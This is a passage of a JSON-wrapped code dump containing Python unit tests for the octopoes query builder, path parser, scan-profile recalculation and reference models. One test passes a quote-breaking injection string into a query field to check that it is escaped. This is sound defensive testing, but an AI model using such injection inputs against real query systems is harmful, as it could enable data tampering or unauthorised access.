test_allow_string_for_foreign_keys():\n    query = Query(Network).where(Finding, ooi=\"Network|internet\")\n\n    assert (\n        query.format()\n        == \"\"\"{:query {:find [(pull Network [*])] :where [\n    [ Finding :Finding/ooi \"Network|internet\" ]\n    [ Finding :object_type \"Finding\" ]\n    [ Network :object_type \"Network\" ]]}}\"\"\"\n    )\n\n\ndef test_big_multiple_direction_query():\n    query = (\n        Query(Finding)\n        .where(Finding, ooi=Network, finding_type=\"KATFindingType|KAT-500\")\n        .where(IPAddress, network=Network)\n        .where(IPPort, address=IPAddress)\n        .where(IPPort, primary_key=\"IPPort|internet|xxx:xxx:x|tcp|23\")\n    )\n\n    assert (\n        query.format()\n        == \"\"\"{:query {:find [(pull Finding [*])] :where [\n    (or [ IPAddress :IPAddressV4/network Network ] [ IPAddress :IPAddressV6/network Network ] )\n    (or [ IPAddress :object_type \"IPAddressV4\" ] [ IPAddress :object_type \"IPAddressV6\" ] )\n    [ Finding :Finding/finding_type \"KATFindingType|KAT-500\" ]\n    [ Finding :Finding/ooi Network ]\n    [ Finding :object_type \"Finding\" ]\n    [ IPPort :IPPort/address IPAddress ]\n    [ IPPort :IPPort/primary_key \"IPPort|internet|xxx:xxx:x|tcp|23\" ]\n    [ IPPort :object_type \"IPPort\" ]]}}\"\"\"\n    )\n\n\ndef test_create_query_from_path():\n    query = Query.from_path(Path.parse(\"HTTPHeader.resource.website.hostname.network.<ooi [is Finding]\"))\n\n    assert (\n        query.format()\n        == \"\"\"{:query {:find [(pull Finding [*])] :where [\n    [ Finding :Finding/ooi Network ]\n    [ Finding :object_type \"Finding\" ]\n    [ HTTPHeader :HTTPHeader/resource HTTPResource ]\n    [ HTTPHeader :object_type \"HTTPHeader\" ]\n    [ HTTPResource :HTTPResource/website Website ]\n    [ HTTPResource :object_type \"HTTPResource\" ]\n    [ Hostname :Hostname/network Network ]\n    [ Hostname :object_type \"Hostname\" ]\n    [ Website :Website/hostname Hostname ]\n    [ Website :object_type \"Website\" ]]}}\"\"\"\n    )\n\n    query = Query.from_path(Path.parse(\"IPPort.address.network.<ooi [is Finding]\")).where(\n        IPPort, primary_key=\"IPPort|internet|xxx:xxx:x|tcp|23\"\n    )\n    assert (\n        query.format()\n        == \"\"\"{:query {:find [(pull Finding [*])] :where [\n    (or [ IPAddress :IPAddressV4/network Network ] [ IPAddress :IPAddressV6/network Network ] )\n    (or [ IPAddress :object_type \"IPAddressV4\" ] [ IPAddress :object_type \"IPAddressV6\" ] )\n    [ Finding :Finding/ooi Network ]\n    [ Finding :object_type \"Finding\" ]\n    [ IPPort :IPPort/address IPAddress ]\n    [ IPPort :IPPort/primary_key \"IPPort|internet|xxx:xxx:x|tcp|23\" ]\n    [ IPPort :object_type \"IPPort\" ]]}}\"\"\"\n    )\n\n\ndef test_finding_type_count_query():\n    query = Query(FindingType).where(Finding, finding_type=FindingType).pull(FindingType).count(Finding)\n    object_type_options = [\n        '[ FindingType :object_type \"ADRFindingType\" ]',\n        '[ FindingType :object_type \"CAPECFindingType\" ]',\n        '[ FindingType :object_type \"CVEFindingType\" ]',\n        '[ FindingType :object_type \"CWEFindingType\" ]',\n        '[ FindingType :object_type \"KATFindingType\" ]',\n        '[ FindingType :object_type \"RetireJSFindingType\" ]',\n        '[ FindingType :object_type \"SnykFindingType\" ]',\n    ]\n    or_statement_list = \" \".join(object_type_options)\n\n    assert (\n        query.format()\n        == f\"\"\"{{:query {{:find [(pull FindingType [*]) (count Finding)] :where [\n    (or {or_statement_list} )\n    [ Finding :Finding/finding_type FindingType ]\n    [ Finding :object_type \"Finding\" ]]}}}}\"\"\"\n    )\n\n\ndef test_create_query_from_path_abstract():\n    path = Path.parse(\"IPAddress.<address[is IPPort]\")\n\n    query = Query.from_path(path).where(IPAddress, primary_key=\"test_pk\")\n\n    expected_query = \"\"\"{:query {:find [(pull IPPort [*])] :where [\n    (or [ IPAddress :IPAddressV4/primary_key \"test_pk\" ] [ IPAddress :IPAddressV6/primary_key \"test_pk\" ] )\n    (or [ IPAddress :object_type \"IPAddressV4\" ] [ IPAddress :object_type \"IPAddressV6\" ] )\n    [ IPPort :IPPort/address IPAddress ]\n    [ IPPort :object_type \"IPPort\" ]]}}\"\"\"\n\n    assert query.format() == expected_query\n\n\ndef test_value_for_abstract_class_check():\n    Query(IPAddress).where(IPAddress, network=Network).where(Network, name=\"test\")\n    Query(IPAddress).where(IPAddress, network=Aliased(Network)).where(Network, name=\"test\")\n\n    with pytest.raises(InvalidField) as ctx:\n        Query(IPAddress).where(IPAddress, network=3).where(Network, name=\"test\")\n\n    assert \"value '3' for abstract class fields should be a string or an OOI Type\" in ctx.exconly()\n\n\ndef test_aliased_query():\n    h1 = Aliased(Hostname, UUID(\"4b4afa7e-5b76-4506-a373-069216b051c2\"))\n    h2 = Aliased(Hostname, UUID(\"98076f7a-7606-47ac-85b7-b511ee21ae42\"))\n    query = (\n        Query(DNSAAAARecord)\n        .where(DNSAAAARecord, hostname=h1)\n        .where(DNSNSRecord, hostname=h1)\n        .where(DNSNSRecord, name_server_hostname=h2)\n        .where(Website, hostname=h2)\n        .where(Website, primary_key=\"test_pk\")\n    )\n\n    expected_query = \"\"\"{:query {:find [(pull DNSAAAARecord [*])] :where [\n    [ DNSAAAARecord :DNSAAAARecord/hostname ?4b4afa7e-5b76-4506-a373-069216b051c2 ]\n    [ DNSAAAARecord :object_type \"DNSAAAARecord\" ]\n    [ DNSNSRecord :DNSNSRecord/hostname ?4b4afa7e-5b76-4506-a373-069216b051c2 ]\n    [ DNSNSRecord :DNSNSRecord/name_server_hostname ?98076f7a-7606-47ac-85b7-b511ee21ae42 ]\n    [ DNSNSRecord :object_type \"DNSNSRecord\" ]\n    [ Website :Website/hostname ?98076f7a-7606-47ac-85b7-b511ee21ae42 ]\n    [ Website :Website/primary_key \"test_pk\" ]\n    [ Website :object_type \"Website\" ]]}}\"\"\"\n\n    assert query.format() == expected_query\n\n\ndef test_aliased_path_query(mocker):\n    \"\"\"Traverse the Hostname object twice\"\"\"\n\n    mocker.patch(\"octopoes.xtdb.query.uuid4\", return_value=UUID(\"311d6399-4bb4-4830-b077-661cc3f4f2c1\"))\n    path = Path.parse(\"Website.hostname.<hostname[is DNSNSRecord].name_server_hostname.<hostname[is DNSAAAARecord]\")\n    query = Query.from_path(path).where(Website, primary_key=\"test_pk\")\n\n    expected_query = \"\"\"{:query {:find [(pull DNSAAAARecord [*])] :where [\n    [ DNSAAAARecord :DNSAAAARecord/hostname ?311d6399-4bb4-4830-b077-661cc3f4f2c1 ]\n    [ DNSAAAARecord :object_type \"DNSAAAARecord\" ]\n    [ DNSNSRecord :DNSNSRecord/hostname Hostname ]\n    [ DNSNSRecord :DNSNSRecord/name_server_hostname ?311d6399-4bb4-4830-b077-661cc3f4f2c1 ]\n    [ DNSNSRecord :object_type \"DNSNSRecord\" ]\n    [ Website :Website/hostname Hostname ]\n    [ Website :Website/primary_key \"test_pk\" ]\n    [ Website :object_type \"Website\" ]]}}\"\"\"\n\n    assert query.format() == expected_query\n\n\ndef test_aliased_query_starting_with_hostname(mocker):\n    mocker.patch(\"octopoes.xtdb.query.uuid4\", return_value=UUID(\"311d6399-4bb4-4830-b077-661cc3f4f2c1\"))\n    path = Path.parse(\n        \"Hostname.<hostname[is DNSMXRecord].mail_hostname.<hostname[is DNSARecord].address.<address[is IPPort]\"\n    )\n    query = Query.from_path(path)\n\n    expected_query = \"\"\"{:query {:find [(pull IPPort [*])] :where [\n    [ DNSARecord :DNSARecord/address IPAddressV4 ]\n    [ DNSARecord :DNSARecord/hostname ?311d6399-4bb4-4830-b077-661cc3f4f2c1 ]\n    [ DNSARecord :object_type \"DNSARecord\" ]\n    [ DNSMXRecord :DNSMXRecord/hostname Hostname ]\n    [ DNSMXRecord :DNSMXRecord/mail_hostname ?311d6399-4bb4-4830-b077-661cc3f4f2c1 ]\n    [ DNSMXRecord :object_type \"DNSMXRecord\" ]\n    [ IPPort :IPPort/address IPAddressV4 ]\n    [ IPPort :object_type \"IPPort\" ]]}}\"\"\"\n    assert query.format() == expected_query\n\n\ndef test_build_system_query_with_path_segments(mocker):\n    uuid_batch = [uuid.uuid4() for _ in range(3)]\n    uuid_mock = mocker.patch(\"octopoes.xtdb.query.uuid4\")\n    uuid_mock.side_effect = uuid_batch\n\n    resolved_hostname_alias = Aliased(ResolvedHostname)\n    hostname_alias = Aliased(Hostname)\n\n    query = (\n        Query(hostname_alias)\n        .where(Hostname, primary_key=\"Hostname|test|example.com\")\n        .where(ResolvedHostname, hostname=Hostname)\n        .where(ResolvedHostname, address=IPAddress)\n        .where(resolved_hostname_alias, hostname=hostname_alias)\n        .where(resolved_hostname_alias, address=IPAddress)\n    )\n\n    uuid_mock.side_effect = uuid_batch\n    path_query = Query.from_path(\n        Path.parse(\"Hostname.<hostname[is ResolvedHostname].address.<address[is ResolvedHostname].hostname\")\n    ).where(Hostname, primary_key=\"Hostname|test|example.com\")\n\n    assert str(query) == str(path_query)\n    assert query == path_query\n\n    uuid_mock.side_effect = uuid_batch\n\n    query = (\n        Query(Service)\n        .where(Hostname, primary_key=\"Hostname|test|example.com\")\n        .where(ResolvedHostname, hostname=Hostname)\n        .where(ResolvedHostname, address=IPAddress)\n        .where(IPPort, address=IPAddress)\n        .where(IPService, ip_port=IPPort)\n        .where(IPService, service=Service)\n    )\n\n    uuid_mock.side_effect = uuid_batch\n    path_query = Query.from_path(\n        Path.parse(\n            \"Hostname.<hostname[is ResolvedHostname].address.<address[is IPPort].<ip_port [is IPService].service\"\n        )\n    ).where(Hostname, primary_key=\"Hostname|test|example.com\")\n\n    assert str(query) == str(path_query)\n    assert query == path_query\n\n\ndef test_build_parth_query_with_multiple_sources(mocker):\n    mocker.patch(\"octopoes.xtdb.query.uuid4\", return_value=UUID(\"311d6399-4bb4-4830-b077-661cc3f4f2c1\"))\n\n    query = Query(Website).where_in(Website, primary_key=[\"test_pk\", \"second_test_pk\"])\n    assert (\n        query.format()\n        == \"\"\"{:query {:find [(pull Website [*])] :where [\n    (or [ Website :Website/primary_key \"test_pk\" ] [ Website :Website/primary_key \"second_test_pk\" ] )\n    [ Website :object_type \"Website\" ]]}}\"\"\"\n    )\n\n    pk = Aliased(Website, field=\"primary_key\")\n    query = (\n        Query(Website)\n        .find(pk)\n        .pull(Website)\n        .where(Website, primary_key=pk)\n        .where_in(Website, primary_key=[\"test_pk\", \"second_test_pk\"])\n    )\n\n    assert (\n        query.format()\n        == \"\"\"{:query {:find [?311d6399-4bb4-4830-b077-661cc3f4f2c1?primary_key (pull Website [*])] :where [\n    (or [ Website :Website/primary_key \"test_pk\" ] [ Website :Website/primary_key \"second_test_pk\" ] )\n    [ Website :Website/primary_key ?311d6399-4bb4-4830-b077-661cc3f4f2c1?primary_key ]\n    [ Website :object_type \"Website\" ]]}}\"\"\"\n    )\n\n\ndef test_build_parth_query_with_multiple_sources_for_abstract_type(mocker):\n    mocker.patch(\"octopoes.xtdb.query.uuid4\", return_value=UUID(\"311d6399-4bb4-4830-b077-661cc3f4f2c1\"))\n\n    object_path = Path.parse(\"IPAddress.network\")\n    pk = Aliased(IPAddress, field=\"primary_key\")\n    query = (\n        Query.from_path(object_path)\n        .find(pk)\n        .pull(IPAddress)\n        .where(IPAddress, network=Network)\n        .where(IPAddress, primary_key=pk)\n        .where_in(IPAddress, primary_key=[\"1\", \"2\"])\n    )\n    assert (\n        str(query) == \"{:query {:find [?311d6399-4bb4-4830-b077-661cc3f4f2c1?primary_key (pull IPAddress [*])] :where [\"\n        \" (or [ IPAddress :IPAddressV4/network Network ] [ IPAddress :IPAddressV6/network Network ] )\"\n        \" (or \"\n        '[ IPAddress :IPAddressV4/primary_key \"1\" ] '\n        '[ IPAddress :IPAddressV6/primary_key \"1\" ] '\n        '[ IPAddress :IPAddressV4/primary_key \"2\" ] '\n        '[ IPAddress :IPAddressV6/primary_key \"2\" ] )'\n        \" (or [ IPAddress :IPAddressV4/primary_key ?311d6399-4bb4-4830-b077-661cc3f4f2c1?primary_key ] \"\n        \"[ IPAddress :IPAddressV6/primary_key ?311d6399-4bb4-4830-b077-661cc3f4f2c1?primary_key ] )\"\n        ' (or [ IPAddress :object_type \"IPAddressV4\" ] [ IPAddress :object_type \"IPAddressV6\" ] )'\n        ' [ Network :object_type \"Network\" ]]}}'\n    )\n\n\ndef test_parse_path_concrete_fields_or_abstract_types():\n    segments = Path.parse(\"URL.web_url.netloc.name\").segments\n    assert len(segments) == 3\n    assert segments[0].source_type == URL\n    assert segments[0].target_type == WebURL\n\n    assert segments[1].source_type == WebURL\n    assert segments[1].target_type == Hostname\n\n    assert segments[2].source_type == Hostname\n    assert segments[2].target_type is None\n    assert segments[2].property_name == \"name\"\n\n\ndef test_generic_OOI_query(mocker):\n    mocker.patch(\"uuid.uuid4\", return_value=UUID(\"311d6399-4bb4-4830-b077-661cc3f4f2c1\"))\n\n    query = Query().where(OOI, id=\"test\")\n    assert str(query) == '{:query {:find [(pull OOI [*])] :where [ [ OOI :xt/id \"test\" ]]}}'\n\n    query = Query().where_in(OOI, id=[\"test\", \"test2\"])\n    assert (\n        str(query) == '{:query {:find [(pull OOI [*])] :where [ (or [ OOI :xt/id \"test\" ] [ OOI :xt/id \"test2\" ] )]}}'\n    )\n\n    query.pull(OOI, fields=\"[* {:_reference [*]}]\")\n    assert (\n        str(query) == \"{:query {:find [(pull OOI [* {:_reference [*]}])] \"\n        ':where [ (or [ OOI :xt/id \"test\" ] [ OOI :xt/id \"test2\" ] )]}}'\n    )\n"
  },
  {
    "path": "octopoes/tests/test_query_builder_new.py",
    "content": "from unittest import TestCase\n\nfrom octopoes.models.origin import Origin\nfrom octopoes.xtdb import Datamodel, FieldSet, ForeignKey\nfrom octopoes.xtdb.query_builder import generate_pull_query\nfrom octopoes.xtdb.related_field_generator import RelatedFieldNode\n\nsample_data_model = {\n    \"Certificate\": {\"signed_by\": {\"Certificate\"}, \"website\": {\"Hostname\"}},\n    \"CveFindingType\": {},\n    \"CweFindingType\": {},\n    \"DnsARecord\": {\"Hostname\": {\"Hostname\"}, \"IpAddressV4\": {\"IpAddressV4\"}},\n    \"DnsAaaaRecord\": {\"Hostname\": {\"Hostname\"}, \"IpAddressV6\": {\"IpAddressV6\"}},\n    \"DnsMxRecord\": {\"Hostname\": {\"Hostname\"}, \"MailHostname\": {\"Hostname\"}},\n    \"DnsTxtRecord\": {\"Hostname\": {\"Hostname\"}},\n    \"DnsZone\": {\n        \"DnsNameServerHostname\": {\"Hostname\"},\n        \"DnsSoaHostname\": {\"Hostname\"},\n        \"Network\": {\"Network\"},\n        \"ParentDnsZone\": {\"DnsZone\"},\n    },\n    \"Finding\": {\n        \"FindingType\": {\"KatFindingType\", \"CveFindingType\"},\n        \"OOI\": {\n            \"Certificate\",\n            \"CveFindingType\",\n            \"CweFindingType\",\n            \"DnsARecord\",\n            \"DnsAaaaRecord\",\n            \"DnsMxRecord\",\n            \"DnsTxtRecord\",\n            \"DnsZone\",\n            \"Hostname\",\n            \"IpAddressV4\",\n            \"IpAddressV6\",\n            \"IpPort\",\n            \"IpService\",\n            \"KatFindingType\",\n            \"Network\",\n            \"Service\",\n            \"Software\",\n            \"Url\",\n            \"Website\",\n        },\n    },\n    \"Hostname\": {\"DnsZone\": {\"DnsZone\"}, \"Network\": {\"Network\"}},\n    \"IpAddressV4\": {\"Network\": {\"Network\"}},\n    \"IpAddressV6\": {\"Network\": {\"Network\"}},\n    \"IpPort\": {\"IpAddress\": {\"IpAddressV4\", \"IpAddressV6\"}},\n    \"IpService\": {\"IpPort\": {\"IpPort\"}, \"Service\": {\"Service\"}},\n    \"Job\": {\n        \"oois\": {\n            \"Certificate\",\n            \"CveFindingType\",\n            \"CweFindingType\",\n            \"DnsARecord\",\n            \"DnsAaaaRecord\",\n            \"DnsMxRecord\",\n            \"DnsTxtRecord\",\n            \"DnsZone\",\n            \"Hostname\",\n            \"IpAddressV4\",\n            \"IpAddressV6\",\n            \"IpPort\",\n            \"IpService\",\n            \"KatFindingType\",\n            \"Network\",\n            \"Service\",\n            \"Software\",\n            \"Url\",\n            \"Website\",\n        }\n    },\n    \"KatFindingType\": {},\n    \"Network\": {},\n    \"Service\": {},\n    \"Software\": {\"IpService\": {\"IpService\"}},\n    \"Url\": {\"Website\": {\"Website\"}},\n    \"Website\": {\"Hostname\": {\"Hostname\"}, \"IpService\": {\"IpService\"}},\n}\n\nentities = {}\nfor entity, relations in sample_data_model.items():\n    fks = []\n    for field_name, related_entities in relations.items():\n        fks.append(\n            ForeignKey(\n                source_entity=entity,\n                attr_name=field_name,\n                related_entities=related_entities,\n                reverse_name=f\"{entity}/_{field_name}\",\n            )\n        )\n    entities[entity] = fks\n\ndatamodel = Datamodel(entities=entities)\n\n\nclass QueryNodeTest(TestCase):\n    def test_QueryNode_1_deep_success(self):\n        root = RelatedFieldNode(data_model=datamodel, object_types={\"Job\"})\n        root.build_tree(1)\n\n        self.assertEqual({}, root.relations_in)\n        self.assertEqual(\n            {\n                \"Certificate\",\n                \"CveFindingType\",\n                \"CweFindingType\",\n                \"DnsARecord\",\n                \"DnsAaaaRecord\",\n                \"DnsMxRecord\",\n                \"DnsTxtRecord\",\n                \"DnsZone\",\n                \"Hostname\",\n                \"IpAddressV4\",\n                \"IpAddressV6\",\n                \"IpPort\",\n                \"IpService\",\n                \"KatFindingType\",\n                \"Network\",\n                \"Service\",\n                \"Software\",\n                \"Url\",\n                \"Website\",\n            },\n            root.relations_out[(\"Job\", \"oois\")].object_types,\n            \"build_tree of 1 level deep should have created a QueryNode with set of related types\",\n        )\n\n    def test_QueryNode_2_deep_success(self):\n        root = RelatedFieldNode(data_model=datamodel, object_types={\"IpPort\"})\n        root.build_tree(2)\n\n        # Check IPV4/IPV6 node\n        address_node = root.relations_out[(\"IpPort\", \"IpAddress\")]\n        self.assertEqual({\"IpAddressV4\", \"IpAddressV6\"}, address_node.object_types)\n\n        # Check IPV4/IPV6 node (Network)\n        network_node_from_ipv4 = address_node.relations_out[(\"IpAddressV4\", \"Network\")]\n        self.assertEqual({\"Network\"}, network_node_from_ipv4.object_types)\n        network_node_from_ipv6 = address_node.relations_out[(\"IpAddressV6\", \"Network\")]\n        self.assertEqual({\"Network\"}, network_node_from_ipv6.object_types)\n\n        # Check IPV4/IPV6 incoming nodes\n        dns_a_record_node = address_node.relations_in[(\"DnsARecord\", \"IpAddressV4\", \"DnsARecord/_IpAddressV4\")]\n        self.assertEqual({\"DnsARecord\"}, dns_a_record_node.object_types)\n\n        dns_aaaa_record_node = address_node.relations_in[(\"DnsAaaaRecord\", \"IpAddressV6\", \"DnsAaaaRecord/_IpAddressV6\")]\n        self.assertEqual({\"DnsAaaaRecord\"}, dns_aaaa_record_node.object_types)\n\n        finding_node = address_node.relations_in[(\"Finding\", \"OOI\", \"Finding/_OOI\")]\n        self.assertEqual({\"Finding\"}, finding_node.object_types)\n\n        job_node = address_node.relations_in[(\"Job\", \"oois\", \"Job/_oois\")]\n        self.assertEqual({\"Job\"}, job_node.object_types)\n\n    def test_QueryNode_3_deep_dont_return_previous_relation_success(self):\n        root = RelatedFieldNode(data_model=datamodel, object_types={\"IpPort\"})\n        root.build_tree(3)\n\n        # Check IPV4/IPV6 node\n        address_node = root.relations_out[(\"IpPort\", \"IpAddress\")]\n\n        self.assertNotIn((\"IpPort\", \"IpAddress\"), address_node.relations_in)\n\n    def test_QueryNode_multiple_root_types_success(self):\n        root = RelatedFieldNode(data_model=datamodel, object_types={\"IpAddressV4\", \"IpAddressV6\"})\n        root.build_tree(1)\n\n        expected = {\n            (\"IpPort\", \"IpAddress\", \"IpPort/_IpAddress\"): RelatedFieldNode(\n                data_model=datamodel, object_types={\"IpPort\"}\n            ),\n            (\"DnsARecord\", \"IpAddressV4\", \"DnsARecord/_IpAddressV4\"): RelatedFieldNode(\n                data_model=datamodel, object_types={\"DnsARecord\"}\n            ),\n            (\"DnsAaaaRecord\", \"IpAddressV6\", \"DnsAaaaRecord/_IpAddressV6\"): RelatedFieldNode(\n                data_model=datamodel, object_types={\"DnsAaaaRecord\"}\n            ),\n            (\"Finding\", \"OOI\", \"Finding/_OOI\"): RelatedFieldNode(data_model=datamodel, object_types={\"Finding\"}),\n            (\"Job\", \"oois\", \"Job/_oois\"): RelatedFieldNode(data_model=datamodel, object_types={\"Job\"}),\n        }\n\n        self.assertEqual(expected, root.relations_in)\n\n    def test_generate_query_sucess(self):\n        # Query related objects\n        field_node = RelatedFieldNode(data_model=datamodel, object_types={\"IpAddressV4\"})\n        field_node.build_tree(1)\n\n        query = generate_pull_query(\n            FieldSet.ALL_FIELDS, {\"xt/id\": \"IpAddressV4|internet|1.1.1.1\"}, field_node=field_node\n        )\n\n        expected_query = (\n            \"{:query {:find [(pull ?e [* {(:DnsARecord/_IpAddressV4 {:as DnsARecord/_IpAddressV4}) [*]} \"\n            \"{(:Finding/_OOI {:as Finding/_OOI}) [*]} {(:IpAddressV4/Network {:as Network}) [*]} \"\n            \"{(:IpPort/_IpAddress {:as IpPort/_IpAddress}) [*]} {(:Job/_oois {:as Job/_oois}) [*]}])] \"\n            ':in [_xt_id] :where [[?e :xt/id _xt_id]]   } :in-args [ \"IpAddressV4|internet|1.1.1.1\" ]}'\n        )\n        self.assertEqual(expected_query, query)\n\n    def test_escape_injection_success(self):\n        query = generate_pull_query(FieldSet.ALL_FIELDS, where={\"attr_1\": 'test_value_with_quotes\" and injection'})\n\n        expected_query = (\n            \"{:query {:find [(pull ?e [*])] :in [_attr_1] :where [[?e :attr_1 _attr_1]]   } \"\n            ':in-args [ \"test_value_with_quotes\\\\\" and injection\" ]}'\n        )\n        self.assertEqual(expected_query, query)\n\n    def test_get_origin_by_task_id(self):\n        query = generate_pull_query(\n            FieldSet.ALL_FIELDS, {\"task_id\": \"5c864d45a4364a81a5fecfd8b359cf9d\", \"type\": Origin.__name__}\n        )\n\n        expected_query = (\n            \"{:query {:find [(pull ?e [*])] :in [_task_id _type] :where [[?e :task_id _task_id] \"\n            '[?e :type _type]]   } :in-args [ \"5c864d45a4364a81a5fecfd8b359cf9d\" \"Origin\" ]}'\n        )\n        self.assertEqual(expected_query, query)\n"
  },
  {
    "path": "octopoes/tests/test_recalculate_scan_profiles.py",
    "content": "from octopoes.models import DeclaredScanProfile\n\n\ndef test_recalculate_no_profiles(valid_time, ooi_repository, scan_profile_repository, octopoes_service):\n    octopoes = octopoes_service\n    octopoes.ooi_repository = ooi_repository\n    octopoes.scan_profile_repository = scan_profile_repository\n    octopoes.recalculate_scan_profiles(valid_time)\n\n\ndef test_recalculate_only_empty_profiles(\n    valid_time, ooi_repository, scan_profile_repository, octopoes_service, resolved_hostname\n):\n    octopoes = octopoes_service\n    octopoes.ooi_repository = ooi_repository\n    octopoes.scan_profile_repository = scan_profile_repository\n    octopoes.recalculate_scan_profiles(valid_time)\n\n\ndef test_recalculate_inherent(\n    valid_time,\n    dns_zone,\n    hostname,\n    resolved_hostname,\n    ipaddressv4,\n    octopoes_service,\n    ooi_repository,\n    scan_profile_repository,\n):\n    octopoes = octopoes_service\n    octopoes.ooi_repository = ooi_repository\n    octopoes.scan_profile_repository = scan_profile_repository\n    octopoes.scan_profile_repository.save(None, DeclaredScanProfile(reference=hostname.reference, level=4), valid_time)\n\n    octopoes.recalculate_scan_profiles(valid_time)\n\n    assert octopoes.scan_profile_repository.get(ipaddressv4.reference, valid_time).level == 4\n    assert octopoes.scan_profile_repository.get(resolved_hostname.reference, valid_time).level == 4\n    assert octopoes.scan_profile_repository.get(dns_zone.reference, valid_time).level == 1\n\n\ndef test_recalculate_inherent_max(\n    valid_time, dns_zone, resolved_hostname, ipaddressv4, octopoes_service, ooi_repository, scan_profile_repository\n):\n    octopoes = octopoes_service\n    octopoes.ooi_repository = ooi_repository\n    octopoes.scan_profile_repository = scan_profile_repository\n    octopoes.scan_profile_repository.save(None, DeclaredScanProfile(reference=dns_zone.reference, level=4), valid_time)\n\n    octopoes.recalculate_scan_profiles(valid_time)\n\n    assert octopoes.scan_profile_repository.get(resolved_hostname.reference, valid_time).level == 2\n    assert octopoes.scan_profile_repository.get(ipaddressv4.reference, valid_time).level == 2\n    assert octopoes.scan_profile_repository.get(resolved_hostname.reference, valid_time).level == 2\n\n\ndef test_recalculate_inherent_recalculate(\n    valid_time,\n    dns_zone,\n    hostname,\n    resolved_hostname,\n    ipaddressv4,\n    octopoes_service,\n    ooi_repository,\n    scan_profile_repository,\n):\n    octopoes = octopoes_service\n    octopoes.ooi_repository = ooi_repository\n    octopoes.scan_profile_repository = scan_profile_repository\n    octopoes.scan_profile_repository.save(None, DeclaredScanProfile(reference=hostname.reference, level=3), valid_time)\n\n    octopoes.recalculate_scan_profiles(valid_time)\n\n    assert octopoes.scan_profile_repository.get(ipaddressv4.reference, valid_time).level == 3\n    assert octopoes.scan_profile_repository.get(resolved_hostname.reference, valid_time).level == 3\n    assert octopoes.scan_profile_repository.get(dns_zone.reference, valid_time).level == 1\n\n    octopoes.recalculate_scan_profiles(valid_time)\n\n    assert octopoes.scan_profile_repository.get(ipaddressv4.reference, valid_time).level == 3\n    assert octopoes.scan_profile_repository.get(resolved_hostname.reference, valid_time).level == 3\n    assert octopoes.scan_profile_repository.get(dns_zone.reference, valid_time).level == 1\n\n    profile = DeclaredScanProfile(reference=hostname.reference, level=2)\n    octopoes.scan_profile_repository.save(None, profile, valid_time)\n\n    octopoes.recalculate_scan_profiles(valid_time)\n\n    assert octopoes.scan_profile_repository.get(ipaddressv4.reference, valid_time).level == 2\n    assert octopoes.scan_profile_repository.get(resolved_hostname.reference, valid_time).level == 2\n    assert octopoes.scan_profile_repository.get(dns_zone.reference, valid_time).level == 1\n\n    octopoes.scan_profile_repository.delete(profile, valid_time)\n\n    octopoes.recalculate_scan_profiles(valid_time)\n\n    assert octopoes.scan_profile_repository.get(ipaddressv4.reference, valid_time).level == 0\n    assert octopoes.scan_profile_repository.get(resolved_hostname.reference, valid_time).level == 0\n    assert octopoes.scan_profile_repository.get(dns_zone.reference, valid_time).level == 0\n"
  },
  {
    "path": "octopoes/tests/test_reference.py",
    "content": "from ipaddress import ip_address\nfrom unittest import TestCase\nfrom unittest.mock import patch\n\nfrom octopoes.models import Reference\nfrom tests.mocks.mock_ooi_types import ALL_OOI_TYPES, OOITYPE_BY_NAME, MockIPAddressV4, MockNetwork\n\n\n@patch(\"octopoes.models.types.ALL_TYPES\", ALL_OOI_TYPES)\n@patch(\"octopoes.models.types.OOITYPE_BY_NAME\", OOITYPE_BY_NAME)\nclass ReferenceTest(TestCase):\n    def test_reference(self):\n        network_reference = Reference(\"MockNetwork|internet\")\n        self.assertEqual(\"MockNetwork\", network_reference.class_)\n\n    def test_reference_from_str(self):\n        network_reference = Reference.from_str(\"MockNetwork|internet\")\n        self.assertEqual(MockNetwork, network_reference.class_type)\n\n    def test_reference_in_model(self):\n        ip = MockIPAddressV4(network=\"MockNetwork|internet\", address=ip_address(\"1.1.1.1\"))\n        self.assertEqual(Reference(\"MockNetwork|internet\"), ip.network)\n\n    def test_ref_equality(self):\n        a = Reference(\"A|KeyA\")\n        b = Reference(\"A|KeyA\")\n        self.assertEqual(a, b)\n\n    def test_parse_obj(self):\n        ip = MockIPAddressV4.model_validate({\"address\": \"1.1.1.1\", \"network\": \"MockNetwork|internet\"})\n        self.assertEqual(Reference(\"MockNetwork|internet\"), ip.network)\n"
  },
  {
    "path": "octopoes/tests/test_reference_node.py",
    "content": "from unittest import TestCase\n\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.network import IPAddressV4\nfrom octopoes.models.tree import ReferenceNode\nfrom octopoes.repositories.ooi_repository import XTDBReferenceNode\n\nxtdb_sample = {\n    \"xt/id\": \"IPPort|internet|1.1.1.2|tcp|80\",\n    \"IPPort/address\": {\n        \"xt/id\": \"IPAddressV4|internet|1.1.1.2\",\n        \"IPAddressV4/network\": {\n            \"xt/id\": \"Network|internet\",\n            \"IPAddressV6/_network\": [{\"xt/id\": \"IPAddressV6|internet|2001:1c00:2303:8f00:21c7:4dc2:5738:28af\"}],\n        },\n    },\n}\n\nxtdb_sample_2 = {\n    \"child_dns_zones\": [\n        {\n            \"xt/id\": \"DNSZone|internet|minvws.nl\",\n            \"hostnames\": [{\"xt/id\": \"Hostname|internet|minvws.nl\"}],\n            \"name_servers\": [\n                {\"xt/id\": \"Hostname|internet|ns3.ssonet.nl\"},\n                {\"xt/id\": \"Hostname|internet|ns2.ssonet.nl\"},\n                {\"xt/id\": \"Hostname|internet|ns1.ssonet.nl\"},\n            ],\n            \"network\": {\"xt/id\": \"Network|internet\"},\n            \"soa\": {\"xt/id\": \"Hostname|internet|ns3.ssonet.nl\"},\n        }\n    ],\n    \"xt/id\": \"DNSZone|internet|nl\",\n    \"name_servers\": [\n        {\"xt/id\": \"Hostname|internet|ns3.dns.nl\", \"dns_zone\": {}, \"network\": {\"xt/id\": \"Network|internet\"}},\n        {\"xt/id\": \"Hostname|internet|ns2.dns.nl\", \"dns_zone\": {}, \"network\": {\"xt/id\": \"Network|internet\"}},\n        {\n            \"xt/id\": \"Hostname|internet|ns1.dns.nl\",\n            \"dns_zone\": {},\n            \"dns_zones\": [{\"xt/id\": \"DNSZone|internet|nl\"}],\n            \"network\": {\"xt/id\": \"Network|internet\"},\n        },\n    ],\n    \"network\": {\n        \"xt/id\": \"Network|internet\",\n        \"hostnames\": [\n            {\"xt/id\": \"Hostname|internet|mail.ssonet.nl\"},\n            {\"xt/id\": \"Hostname|internet|mail2.ssonet.nl\"},\n            {\"xt/id\": \"Hostname|internet|minvws.nl\"},\n            {\"xt/id\": \"Hostname|internet|ns1.dns.nl\"},\n            {\"xt/id\": 